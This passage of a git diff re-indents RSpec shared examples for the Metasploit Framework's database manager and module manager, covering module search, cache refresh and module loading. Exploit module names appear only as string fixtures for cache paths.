descendants = [] - 1.upto(2) do |i| - descendants << double("Descendant #{i}") - end + 1.upto(2) do |i| + descendants << double("Descendant #{i}") + end - ActiveRecord::Base.stub(:descendants => descendants) + ActiveRecord::Base.stub(:descendants => descendants) - descendants.each do |descendant| - descendant.should_receive(:reset_column_information) - end + descendants.each do |descendant| + descendant.should_receive(:reset_column_information) + end - reset_column_information - end - end + reset_column_information + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb index f2580dee0eec..72fbe69f8433 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -1,49 +1,49 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword' do |keyword| - context "with #{keyword} keyword" do - let(:search_string) do - "#{keyword}:#{name}" - end - - let!(:module_platform) do - FactoryGirl.create(:mdm_module_platform) - end - - let!(:module_target) do - FactoryGirl.create(:mdm_module_target) - end - - context 'with Mdm::Module::Platform#name' do - let(:name) do - # use inspect to quote spaces in string - module_platform.name.inspect - end - - it 'should find matching Mdm::Module::Platform#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == self.module_platform.name - } - }.should be_true - end - end - - context 'with Mdm::Module::Target#name' do - let(:name) do + context "with #{keyword} keyword" do + let(:search_string) do + "#{keyword}:#{name}" + end + + let!(:module_platform) do + FactoryGirl.create(:mdm_module_platform) + end + + let!(:module_target) do + FactoryGirl.create(:mdm_module_target) + end + + context 'with Mdm::Module::Platform#name' do + let(:name) do + # use inspect to quote spaces in string + module_platform.name.inspect + end + + it 'should find matching Mdm::Module::Platform#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == self.module_platform.name + } + }.should be_true + end + end + + context 'with Mdm::Module::Target#name' do + let(:name) do # use inspect to quote spaces in string - module_target.name.inspect - end - - it 'should find matching Mdm::Module::Target#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == self.module_target.name - } - }.should be_true - end - end - end + module_target.name.inspect + end + + it 'should find matching Mdm::Module::Target#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == self.module_target.name + } + }.should be_true + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index c4dbc7dbe809..7c9edb20024c 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -1,44 +1,44 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword' do |keyword| - context "with #{keyword} keyword" do - let(keyword) do - 1 - end - - let(:name) do - FactoryGirl.generate :mdm_module_ref_name - end - - let(:search_string) do - "#{keyword}:#{send(keyword)}" - end - - before(:each) do - FactoryGirl.create(:mdm_module_ref, :name => name) - end - - name_prefix = "#{keyword.to_s.upcase}-" - context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}" - - context "with #{context_suffix}" do - let(:name) do - "#{name_prefix}#{send(keyword)}" - end - - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == name - } - }.should be_true - end - end - - context "without #{context_suffix}" do - it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 - end - end - end + context "with #{keyword} keyword" do + let(keyword) do + 1 + end + + let(:name) do + FactoryGirl.generate :mdm_module_ref_name + end + + let(:search_string) do + "#{keyword}:#{send(keyword)}" + end + + before(:each) do + FactoryGirl.create(:mdm_module_ref, :name => name) + end + + name_prefix = "#{keyword.to_s.upcase}-" + context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}" + + context "with #{context_suffix}" do + let(:name) do + "#{name_prefix}#{send(keyword)}" + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == name + } + }.should be_true + end + end + + context "without #{context_suffix}" do + it 'should not match Mdm::Module::Ref#name' do + module_details.count.should == 0 + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index 885b22beb9ef..8e682b02984b 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -1,60 +1,60 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do - it 'should destroy Mdm::Module::Detail' do - expect { - update_all_module_details - }.to change(Mdm::Module::Detail, :count).by(-1) - end - - context 'with cached module in Msf::ModuleSet' do - let(:module_set) do - framework.exploits - end - - before(:each) do - module_set[module_detail.refname] = Msf::SymbolicModule - - framework.modules.send(:module_info_by_path)[module_detail.file] = { - :parent_path => Metasploit::Framework.root.join('modules').to_path, - :reference_name => module_detail.refname, - :type => type - } - end - - it 'should create instance of module corresponding to Mdm::Module::Detail' do - module_set.should_receive(:create).with(module_detail.refname) - - update_all_module_details - end - - it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do - db_manager.should_receive(:update_module_details) do |module_instance| - module_instance.should be_a Msf::Module - module_instance.type.should == module_detail.mtype - module_instance.refname.should == module_detail.refname - end - - update_all_module_details - end - - context 'with exception raised by #update_module_details' do - before(:each) do - db_manager.stub(:update_module_details).and_raise(Exception) - end - - it 'should log error' do - db_manager.should_receive(:elog) - - update_all_module_details - end - end - end - - context 'without cached module in Msf::ModuleSet' do - it 'should not call update_module_details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end + it 'should destroy Mdm::Module::Detail' do + expect { + update_all_module_details + }.to change(Mdm::Module::Detail, :count).by(-1) + end + + context 'with cached module in Msf::ModuleSet' do + let(:module_set) do + framework.exploits + end + + before(:each) do + module_set[module_detail.refname] = Msf::SymbolicModule + + framework.modules.send(:module_info_by_path)[module_detail.file] = { + :parent_path => Metasploit::Framework.root.join('modules').to_path, + :reference_name => module_detail.refname, + :type => type + } + end + + it 'should create instance of module corresponding to Mdm::Module::Detail' do + module_set.should_receive(:create).with(module_detail.refname) + + update_all_module_details + end + + it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do + db_manager.should_receive(:update_module_details) do |module_instance| + module_instance.should be_a Msf::Module + module_instance.type.should == module_detail.mtype + module_instance.refname.should == module_detail.refname + end + + update_all_module_details + end + + context 'with exception raised by #update_module_details' do + before(:each) do + db_manager.stub(:update_module_details).and_raise(Exception) + end + + it 'should log error' do + db_manager.should_receive(:elog) + + update_all_module_details + end + end + end + + context 'without cached module in Msf::ModuleSet' do + it 'should not call update_module_details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb index b46aa04f1f80..adc5887f25ab 100644 --- a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb +++ b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb @@ -1,26 +1,26 @@ shared_examples_for 'Msf::DBManager#update_module_details with module' do |options={}| - options.assert_valid_keys(:reference_name, :type) + options.assert_valid_keys(:reference_name, :type) - reference_name = options.fetch(:reference_name) - type = options.fetch(:type) + reference_name = options.fetch(:reference_name) + type = options.fetch(:type) - context "with #{type.inspect}" do - let(:module_reference_name) do - reference_name - end + context "with #{type.inspect}" do + let(:module_reference_name) do + reference_name + end - let(:module_type) do - type - end + let(:module_type) do + type + end - it "should use module_instance with #{type.inspect} type" do - module_instance.type.should == type - end + it "should use module_instance with #{type.inspect} type" do + module_instance.type.should == type + end - it 'should not raise error' do - expect { - update_module_details - }.to_not raise_error - end - end + it 'should not raise error' do + expect { + update_module_details + }.to_not raise_error + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 189474d04759..495ca3e2e6b9 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -1,480 +1,480 @@ shared_examples_for 'Msf::ModuleManager::Cache' do - let(:parent_path) do - parent_pathname.to_path - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - 'exploit' - end - - let(:path) do - pathname.to_path - end - - let(:pathname) do - parent_pathname.join( - 'exploits', - "#{reference_name}.rb" - ) - end - - let(:pathname_modification_time) do - pathname.mtime - end - - context '#cache_empty?' do - subject(:cache_empty?) do - module_manager.cache_empty? - end - - before(:each) do - module_manager.send(:module_info_by_path=, module_info_by_path) - end - - context 'with empty' do - let(:module_info_by_path) do - {} - end - - it { should be_true } - end - - context 'without empty' do - let(:module_info_by_path) do - { - 'path/to/module' => {} - } - end - - it { should be_false } - end - end - - context '#cache_in_memory' do - def cache_in_memory - module_manager.cache_in_memory( - class_or_module, - :path => path, - :reference_name => reference_name, - :type => type - ) - end - - def module_info_by_path - module_manager.send(:module_info_by_path) - end - - let(:class_or_module) do - double('Class or Module', :parent => namespace_module) - end - - let(:namespace_module) do - double('Msf::Modules::Namespace', :parent_path => parent_path) - end - - context 'with existing :path' do - it 'should update module_info_by_path' do - expect { - cache_in_memory - }.to change { module_info_by_path } - end - - context 'module_info_by_path' do - subject(:module_info_by_path) do - module_manager.send(:module_info_by_path) - end - - before(:each) do - cache_in_memory - end - - it 'should have entry for path' do - module_info_by_path[path].should be_a Hash - end - - context 'value' do - subject(:value) do - module_info_by_path[path] - end - - it 'should have modification time of :path option for :modification_time' do - value[:modification_time].should == pathname_modification_time - end - - it 'should have parent path from namespace module for :parent_path' do - value[:parent_path].should == namespace_module.parent_path - end - - it 'should use :reference_name option' do - value[:reference_name].should == reference_name - end - - it 'should use :type option' do - value[:type].should == type - end - end - end - end - - context 'without existing :path' do - let(:path) do - 'non/existent/path' - end - - it 'should not raise error' do - expect { - cache_in_memory - }.to_not raise_error - end - - it 'should not update module_info_by_path' do - expect { - cache_in_memory - }.to_not change { module_info_by_path } - end - end - end - - context '#load_cached_module' do - subject(:load_cached_module) do - module_manager.load_cached_module(type, reference_name) - end - - before(:each) do - module_manager.send(:module_info_by_path=, module_info_by_path) - end - - context 'with module info in cache' do - let(:module_info_by_path) do - { - 'path/to/module' => { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type - } - } - end - - it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do - module_manager.send(:loaders).each do |loader| - loader.should_receive(:loadable?).with(parent_path).and_call_original - end - - load_cached_module - end - - it 'should force load using #load_module on the loader' do - Msf::Modules::Loader::Directory.any_instance.should_receive( - :load_module - ).with( - parent_path, - type, - reference_name, - :force => true - ).and_call_original - - load_cached_module - end - - context 'return from load_module' do - before(:each) do - module_manager.send(:loaders).each do |loader| - loader.stub(:load_module => module_loaded) - end - end - - context 'with false' do - let(:module_loaded) do - false - end - - it { should be_false } - end - - context 'with true' do - let(:module_loaded) do - true - end - - it { should be_true } - end - end - end - - context 'without module info in cache' do - let(:module_info_by_path) do - {} - end - - it { should be_false } - end - end - - context '#refresh_cache_from_module_files' do - before(:each) do - module_manager.stub(:framework_migrated? => framework_migrated?) - end - - context 'with framework migrated' do - let(:framework_migrated?) do - true - end - - context 'with module argument' do - def refresh_cache_from_module_files - module_manager.refresh_cache_from_module_files(module_class_or_instance) - end - - let(:module_class_or_instance) do - Class.new(Msf::Module) - end - - it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do - framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered - module_manager.should_receive(:refresh_cache_from_database).ordered - - refresh_cache_from_module_files - end - end - - context 'without module argument' do - def refresh_cache_from_module_files - module_manager.refresh_cache_from_module_files - end - - it 'should update database and then update in-memory cache from the database for all modules' do - framework.db.should_receive(:update_all_module_details).ordered - module_manager.should_receive(:refresh_cache_from_database) - - refresh_cache_from_module_files - end - end - end - - context 'without framework migrated' do - def refresh_cache_from_module_files - module_manager.refresh_cache_from_module_files - end - - let(:framework_migrated?) do - false - end - - it 'should not call Msf::DBManager#update_module_details' do - framework.db.should_not_receive(:update_module_details) - - refresh_cache_from_module_files - end - - it 'should not call Msf::DBManager#update_all_module_details' do - framework.db.should_not_receive(:update_all_module_details) - - refresh_cache_from_module_files - end - - it 'should not call #refresh_cache_from_database' do - module_manager.should_not_receive(:refresh_cache_from_database) - - refresh_cache_from_module_files - end - end - end - - context '#refresh_cache_from_database' do - def refresh_cache_from_database - module_manager.refresh_cache_from_database - end - - it 'should call #module_info_by_path_from_database!' do - module_manager.should_receive(:module_info_by_path_from_database!) - - refresh_cache_from_database - end - end - - context '#framework_migrated?' do - subject(:framework_migrated?) do - module_manager.send(:framework_migrated?) - end - - context 'with framework database' do - before(:each) do - framework.db.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - it { should be_true } - end - - context 'without migrated' do - let(:migrated) do - false - end + let(:parent_path) do + parent_pathname.to_path + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + 'exploit' + end + + let(:path) do + pathname.to_path + end + + let(:pathname) do + parent_pathname.join( + 'exploits', + "#{reference_name}.rb" + ) + end + + let(:pathname_modification_time) do + pathname.mtime + end + + context '#cache_empty?' do + subject(:cache_empty?) do + module_manager.cache_empty? + end + + before(:each) do + module_manager.send(:module_info_by_path=, module_info_by_path) + end + + context 'with empty' do + let(:module_info_by_path) do + {} + end + + it { should be_true } + end + + context 'without empty' do + let(:module_info_by_path) do + { + 'path/to/module' => {} + } + end + + it { should be_false } + end + end + + context '#cache_in_memory' do + def cache_in_memory + module_manager.cache_in_memory( + class_or_module, + :path => path, + :reference_name => reference_name, + :type => type + ) + end + + def module_info_by_path + module_manager.send(:module_info_by_path) + end + + let(:class_or_module) do + double('Class or Module', :parent => namespace_module) + end + + let(:namespace_module) do + double('Msf::Modules::Namespace', :parent_path => parent_path) + end + + context 'with existing :path' do + it 'should update module_info_by_path' do + expect { + cache_in_memory + }.to change { module_info_by_path } + end + + context 'module_info_by_path' do + subject(:module_info_by_path) do + module_manager.send(:module_info_by_path) + end + + before(:each) do + cache_in_memory + end + + it 'should have entry for path' do + module_info_by_path[path].should be_a Hash + end + + context 'value' do + subject(:value) do + module_info_by_path[path] + end + + it 'should have modification time of :path option for :modification_time' do + value[:modification_time].should == pathname_modification_time + end - it { should be_false } - end - end + it 'should have parent path from namespace module for :parent_path' do + value[:parent_path].should == namespace_module.parent_path + end - context 'without framework database' do - before(:each) do - framework.stub(:db => nil) - end + it 'should use :reference_name option' do + value[:reference_name].should == reference_name + end - it { should be_false } - end - end + it 'should use :type option' do + value[:type].should == type + end + end + end + end - context '#module_info_by_path' do - it { should respond_to(:module_info_by_path) } - end + context 'without existing :path' do + let(:path) do + 'non/existent/path' + end - context '#module_info_by_path=' do - it { should respond_to(:module_info_by_path=) } - end + it 'should not raise error' do + expect { + cache_in_memory + }.to_not raise_error + end - context '#module_info_by_path_from_database!' do - def module_info_by_path - module_manager.send(:module_info_by_path) - end + it 'should not update module_info_by_path' do + expect { + cache_in_memory + }.to_not change { module_info_by_path } + end + end + end + + context '#load_cached_module' do + subject(:load_cached_module) do + module_manager.load_cached_module(type, reference_name) + end + + before(:each) do + module_manager.send(:module_info_by_path=, module_info_by_path) + end + + context 'with module info in cache' do + let(:module_info_by_path) do + { + 'path/to/module' => { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type + } + } + end - def module_info_by_path_from_database! - module_manager.send(:module_info_by_path_from_database!) - end + it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do + module_manager.send(:loaders).each do |loader| + loader.should_receive(:loadable?).with(parent_path).and_call_original + end - before(:each) do - module_manager.stub(:framework_migrated? => framework_migrated?) - end + load_cached_module + end - context 'with framework migrated' do - include_context 'DatabaseCleaner' + it 'should force load using #load_module on the loader' do + Msf::Modules::Loader::Directory.any_instance.should_receive( + :load_module + ).with( + parent_path, + type, + reference_name, + :force => true + ).and_call_original + + load_cached_module + end + + context 'return from load_module' do + before(:each) do + module_manager.send(:loaders).each do |loader| + loader.stub(:load_module => module_loaded) + end + end + + context 'with false' do + let(:module_loaded) do + false + end - let(:framework_migrated?) do - true - end + it { should be_false } + end - before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] + context 'with true' do + let(:module_loaded) do + true + end + + it { should be_true } + end + end + end - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - framework.db.connect(spec) - end + context 'without module info in cache' do + let(:module_info_by_path) do + {} + end + + it { should be_false } + end + end + + context '#refresh_cache_from_module_files' do + before(:each) do + module_manager.stub(:framework_migrated? => framework_migrated?) + end + + context 'with framework migrated' do + let(:framework_migrated?) do + true + end + + context 'with module argument' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files(module_class_or_instance) + end + + let(:module_class_or_instance) do + Class.new(Msf::Module) + end + + it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do + framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered + module_manager.should_receive(:refresh_cache_from_database).ordered + + refresh_cache_from_module_files + end + end + + context 'without module argument' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files + end + + it 'should update database and then update in-memory cache from the database for all modules' do + framework.db.should_receive(:update_all_module_details).ordered + module_manager.should_receive(:refresh_cache_from_database) + + refresh_cache_from_module_files + end + end + end + + context 'without framework migrated' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files + end + + let(:framework_migrated?) do + false + end + + it 'should not call Msf::DBManager#update_module_details' do + framework.db.should_not_receive(:update_module_details) + + refresh_cache_from_module_files + end - it 'should call ActiveRecord::Base.connection_pool.with_connection' do - # 1st is from with_established_connection - # 2nd is from module_info_by_path_from_database! - ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times - - module_info_by_path_from_database! - end + it 'should not call Msf::DBManager#update_all_module_details' do + framework.db.should_not_receive(:update_all_module_details) + + refresh_cache_from_module_files + end + + it 'should not call #refresh_cache_from_database' do + module_manager.should_not_receive(:refresh_cache_from_database) + + refresh_cache_from_module_files + end + end + end + + context '#refresh_cache_from_database' do + def refresh_cache_from_database + module_manager.refresh_cache_from_database + end + + it 'should call #module_info_by_path_from_database!' do + module_manager.should_receive(:module_info_by_path_from_database!) + + refresh_cache_from_database + end + end + + context '#framework_migrated?' do + subject(:framework_migrated?) do + module_manager.send(:framework_migrated?) + end + + context 'with framework database' do + before(:each) do + framework.db.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + it { should be_true } + end + + context 'without migrated' do + let(:migrated) do + false + end + + it { should be_false } + end + end + + context 'without framework database' do + before(:each) do + framework.stub(:db => nil) + end + + it { should be_false } + end + end + + context '#module_info_by_path' do + it { should respond_to(:module_info_by_path) } + end + + context '#module_info_by_path=' do + it { should respond_to(:module_info_by_path=) } + end + + context '#module_info_by_path_from_database!' do + def module_info_by_path + module_manager.send(:module_info_by_path) + end + + def module_info_by_path_from_database! + module_manager.send(:module_info_by_path_from_database!) + end + + before(:each) do + module_manager.stub(:framework_migrated? => framework_migrated?) + end + + context 'with framework migrated' do + include_context 'DatabaseCleaner' + + let(:framework_migrated?) do + true + end + + before(:each) do + configurations = Metasploit::Framework::Database.configurations + spec = configurations[Metasploit::Framework.env] + + # Need to connect or ActiveRecord::Base.connection_pool will raise an + # error. + framework.db.connect(spec) + end + + it 'should call ActiveRecord::Base.connection_pool.with_connection' do + # 1st is from with_established_connection + # 2nd is from module_info_by_path_from_database! + ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times + + module_info_by_path_from_database! + end it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do - Mdm::Module::Detail.should_receive(:find_each) + Mdm::Module::Detail.should_receive(:find_each) + + module_info_by_path_from_database! + end + + context 'with database cache' do + # + # Let!s (let + before(:each)) + # + + let!(:mdm_module_detail) do + FactoryGirl.create(:mdm_module_detail, + :file => path, + :mtype => type, + :mtime => pathname.mtime, + :refname => reference_name + ) + end + + it 'should create cache entry for path' do + module_info_by_path_from_database! + + module_info_by_path.should have_key(path) + end + + it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do + Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original + + module_info_by_path_from_database! + end + + context 'cache entry' do + subject(:cache_entry) do + module_info_by_path[path] + end + + before(:each) do + module_info_by_path_from_database! + end + + its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) } + its([:parent_path]) { should == parent_path } + its([:reference_name]) { should == reference_name } + its([:type]) { should == type } + end + + context 'typed module set' do + let(:typed_module_set) do + module_manager.module_set(type) + end + + context 'with reference_name' do + before(:each) do + typed_module_set[reference_name] = double('Msf::Module') + end + + it 'should not change reference_name value' do + expect { + module_info_by_path_from_database! + }.to_not change { + typed_module_set[reference_name] + } + end + end + + context 'without reference_name' do + it 'should set reference_name value to Msf::SymbolicModule' do + module_info_by_path_from_database! + + # have to use fetch because [] will trigger de-symbolization and + # instantiation. + typed_module_set.fetch(reference_name).should == Msf::SymbolicModule + end + end + end + end + end - module_info_by_path_from_database! + context 'without framework migrated' do + let(:framework_migrated?) do + false end - context 'with database cache' do - # - # Let!s (let + before(:each)) - # - - let!(:mdm_module_detail) do - FactoryGirl.create(:mdm_module_detail, - :file => path, - :mtype => type, - :mtime => pathname.mtime, - :refname => reference_name - ) - end - - it 'should create cache entry for path' do - module_info_by_path_from_database! - - module_info_by_path.should have_key(path) - end - - it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do - Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original - - module_info_by_path_from_database! - end - - context 'cache entry' do - subject(:cache_entry) do - module_info_by_path[path] - end - - before(:each) do - module_info_by_path_from_database! - end - - its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) } - its([:parent_path]) { should == parent_path } - its([:reference_name]) { should == reference_name } - its([:type]) { should == type } - end - - context 'typed module set' do - let(:typed_module_set) do - module_manager.module_set(type) - end - - context 'with reference_name' do - before(:each) do - typed_module_set[reference_name] = double('Msf::Module') - end - - it 'should not change reference_name value' do - expect { - module_info_by_path_from_database! - }.to_not change { - typed_module_set[reference_name] - } - end - end - - context 'without reference_name' do - it 'should set reference_name value to Msf::SymbolicModule' do - module_info_by_path_from_database! - - # have to use fetch because [] will trigger de-symbolization and - # instantiation. - typed_module_set.fetch(reference_name).should == Msf::SymbolicModule - end - end - end - end - end - - context 'without framework migrated' do - let(:framework_migrated?) do - false - end - - it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) } - - it 'should reset #module_info_by_path' do - # pre-fill module_info_by_path so change can be detected - module_manager.send(:module_info_by_path=, double('In-memory Cache')) - - module_info_by_path_from_database! - - module_info_by_path.should be_empty - end - end - end + it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) } + + it 'should reset #module_info_by_path' do + # pre-fill module_info_by_path so change can be detected + module_manager.send(:module_info_by_path=, double('In-memory Cache')) + + module_info_by_path_from_database! + + module_info_by_path.should be_empty + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index c023b32d7443..9f32665fc4f1 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -1,162 +1,162 @@ shared_examples_for 'Msf::ModuleManager::Loading' do - context '#file_changed?' do - let(:module_basename) do - [basename_prefix, '.rb'] - end - - it 'should return true if module info is not cached' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - - subject.send(:module_info_by_path)[module_path].should be_nil - subject.file_changed?(module_path).should be_true - end - end - - it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path) - - subject.send(:module_info_by_path)[module_path] = { - # :modification_time must match so that it is the :type that is causing the `true` and not the - # :modification_time causing the `true`. - :modification_time => modification_time, - :type => Msf::MODULE_PAYLOAD - } - - subject.file_changed?(module_path).should be_true - end - end - - context 'with cache module info and not a payload module' do - it 'should return true if the file does not exist on the file system' do - tempfile = Tempfile.new(module_basename) - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i - - subject.send(:module_info_by_path)[module_path] = { - :modification_time => modification_time - } - - tempfile.unlink - - File.exist?(module_path).should be_false - subject.file_changed?(module_path).should be_true - end - - it 'should return true if modification time does not match the cached modification time' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i - cached_modification_time = (modification_time * rand).to_i - - subject.send(:module_info_by_path)[module_path] = { - :modification_time => cached_modification_time - } - - cached_modification_time.should_not == modification_time - subject.file_changed?(module_path).should be_true - end - end - - it 'should return false if modification time does match the cached modification time' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i - cached_modification_time = modification_time - - subject.send(:module_info_by_path)[module_path] = { - :modification_time => cached_modification_time - } - - cached_modification_time.should == modification_time - subject.file_changed?(module_path).should be_false - end - end - end - end - - context '#on_module_load' do - def on_module_load - module_manager.on_module_load(klass, type, reference_name, options) - end - - let(:klass) do - Class.new(Msf::Auxiliary) - end - - let(:module_set) do - module_manager.module_set(type) - end - - let(:namespace_module) do - double('Namespace Module', :parent_path => parent_path) - end - - let(:options) do - { - 'files' => [ - path - ], - 'paths' => [ - reference_name - ], - 'type' => type - } - end - - let(:parent_path) do - Metasploit::Framework.root.join('modules') - end - - let(:path) do - type_directory = Mdm::Module::Detail::DIRECTORY_BY_TYPE[type] - - File.join(parent_path, type_directory, "#{reference_name}.rb") - end - - let(:reference_name) do - 'admin/2wire/xslt_password_reset' - end - - let(:type) do - klass.type - end - - before(:each) do - klass.stub(:parent => namespace_module) - end - - it "should add module to type's module_set" do - module_set.should_receive(:add_module).with( - klass, - reference_name, - options - ) - - on_module_load - end - - it 'should call cache_in_memory' do - module_manager.should_receive(:cache_in_memory) - - on_module_load - end - - it 'should pass class to #auto_subscribe_module' do - module_manager.should_receive(:auto_subscribe_module).with(klass) - - on_module_load - end - - it 'should fire on_module_load event with class' do - framework.events.should_receive(:on_module_load).with( - reference_name, - klass - ) - - on_module_load - end - end + context '#file_changed?' do + let(:module_basename) do + [basename_prefix, '.rb'] + end + + it 'should return true if module info is not cached' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + + subject.send(:module_info_by_path)[module_path].should be_nil + subject.file_changed?(module_path).should be_true + end + end + + it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path) + + subject.send(:module_info_by_path)[module_path] = { + # :modification_time must match so that it is the :type that is causing the `true` and not the + # :modification_time causing the `true`. + :modification_time => modification_time, + :type => Msf::MODULE_PAYLOAD + } + + subject.file_changed?(module_path).should be_true + end + end + + context 'with cache module info and not a payload module' do + it 'should return true if the file does not exist on the file system' do + tempfile = Tempfile.new(module_basename) + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i + + subject.send(:module_info_by_path)[module_path] = { + :modification_time => modification_time + } + + tempfile.unlink + + File.exist?(module_path).should be_false + subject.file_changed?(module_path).should be_true + end + + it 'should return true if modification time does not match the cached modification time' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i + cached_modification_time = (modification_time * rand).to_i + + subject.send(:module_info_by_path)[module_path] = { + :modification_time => cached_modification_time + } + + cached_modification_time.should_not == modification_time + subject.file_changed?(module_path).should be_true + end + end + + it 'should return false if modification time does match the cached modification time' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i + cached_modification_time = modification_time + + subject.send(:module_info_by_path)[module_path] = { + :modification_time => cached_modification_time + } + + cached_modification_time.should == modification_time + subject.file_changed?(module_path).should be_false + end + end + end + end + + context '#on_module_load' do + def on_module_load + module_manager.on_module_load(klass, type, reference_name, options) + end + + let(:klass) do + Class.new(Msf::Auxiliary) + end + + let(:module_set) do + module_manager.module_set(type) + end + + let(:namespace_module) do + double('Namespace Module', :parent_path => parent_path) + end + + let(:options) do + { + 'files' => [ + path + ], + 'paths' => [ + reference_name + ], + 'type' => type + } + end + + let(:parent_path) do + Metasploit::Framework.root.join('modules') + end + + let(:path) do + type_directory = Mdm::Module::Detail::DIRECTORY_BY_TYPE[type] + + File.join(parent_path, type_directory, "#{reference_name}.rb") + end + + let(:reference_name) do + 'admin/2wire/xslt_password_reset' + end + + let(:type) do + klass.type + end + + before(:each) do + klass.stub(:parent => namespace_module) + end + + it "should add module to type's module_set" do + module_set.should_receive(:add_module).with( + klass, + reference_name, + options + ) + + on_module_load + end + + it 'should call cache_in_memory' do + 